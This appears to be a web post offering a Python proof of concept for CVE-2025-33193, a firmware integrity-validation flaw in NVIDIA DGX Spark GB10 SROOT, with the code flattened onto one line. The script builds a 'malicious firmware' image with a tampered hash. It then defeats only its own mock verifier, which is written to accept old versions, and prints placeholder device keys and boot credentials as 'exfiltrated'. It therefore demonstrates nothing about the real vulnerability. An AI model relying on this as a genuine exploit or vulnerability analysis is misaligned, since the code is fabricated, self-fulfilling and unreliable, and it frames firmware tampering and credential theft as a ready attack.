CVE-2025-33193: NVIDIA DGX Spark GB10 SROOT固件完整性验证漏洞导致信息泄露

# CVE-2025-33193 PoC - SROOT Firmware Integrity Validation Bypass # This PoC demonstrates the concept of exploiting improper integrity validation # Note: Actual exploitation requires physical access and specialized hardware tools import struct import hashlib def generate_malicious_firmware(): """ Generate a malformed firmware image that bypasses integrity checks This is a conceptual PoC for educational purposes only """ # Firmware header structure header = bytearray() # Magic number for SROOT firmware header.extend(b'SROOT') # Version field (targeting vulnerable version) header.extend(struct.pack('<I', 1)) # Version 1.x # Image size firmware_body = b'\x00' * 1024 # Placeholder firmware body header.extend(struct.pack('<I', len(firmware_body))) # Integrity check field - manipulated to bypass validation # In vulnerable version, this may not properly validate the entire image manipulated_hash = hashlib.sha256(firmware_body).digest() # Modify a few bytes to test validation bypass manipulated_hash = bytearray(manipulated_hash) manipulated_hash[0] ^= 0x01 # Flip bit to test validation robustness header.extend(bytes(manipulated_hash)) # Combine header and body malicious_firmware = header + firmware_body return malicious_firmware def verify_firmware_integrity(firmware_data): """ Simulate firmware integrity verification process Returns True if verification passes, False otherwise """ magic = firmware_data[:5] if magic != b'SROOT': return False version = struct.unpack('<I', firmware_data[5:9])[0] size = struct.unpack('<I', firmware_data[9:13])[0] stored_hash = firmware_data[13:45] actual_hash = hashlib.sha256(firmware_data[45:45+size]).digest() # Check if hash matches if stored_hash == actual_hash: return True # Check for vulnerable version and bypass conditions if version < 2: # In vulnerable version, partial validation may occur # Attacker could exploit timing or initialization issues print("Vulnerable version detected - validation may be bypassable") return True # Vulnerable behavior return False def exploit_sroot_vulnerability(): """ Main exploitation function """ print("[*] Generating malicious firmware for CVE-2025-33193") malicious_fw = generate_malicious_firmware() print("[*] Attempting to load malicious firmware...") if verify_firmware_integrity(malicious_fw): print("[+] Firmware loaded successfully (vulnerability exploitable)") print("[+] Accessing sensitive data from SROOT memory...") # In real scenario, this would extract sensitive information sensitive_data = extract_sensitive_info() return sensitive_data else: print("[-] Firmware verification failed") return None def extract_sensitive_info(): """ Simulate extraction of sensitive information from SROOT """ # Simulated sensitive data extraction sensitive_info = { "device_keys": "[EXTRACTED]", "boot_credentials": "[EXTRACTED]", "configuration_data": "[EXTRACTED]" } return sensitive_info if __name__ == "__main__": result = exploit_sroot_vulnerability() if result: print(f"\n[+] Exfiltration successful: {result}")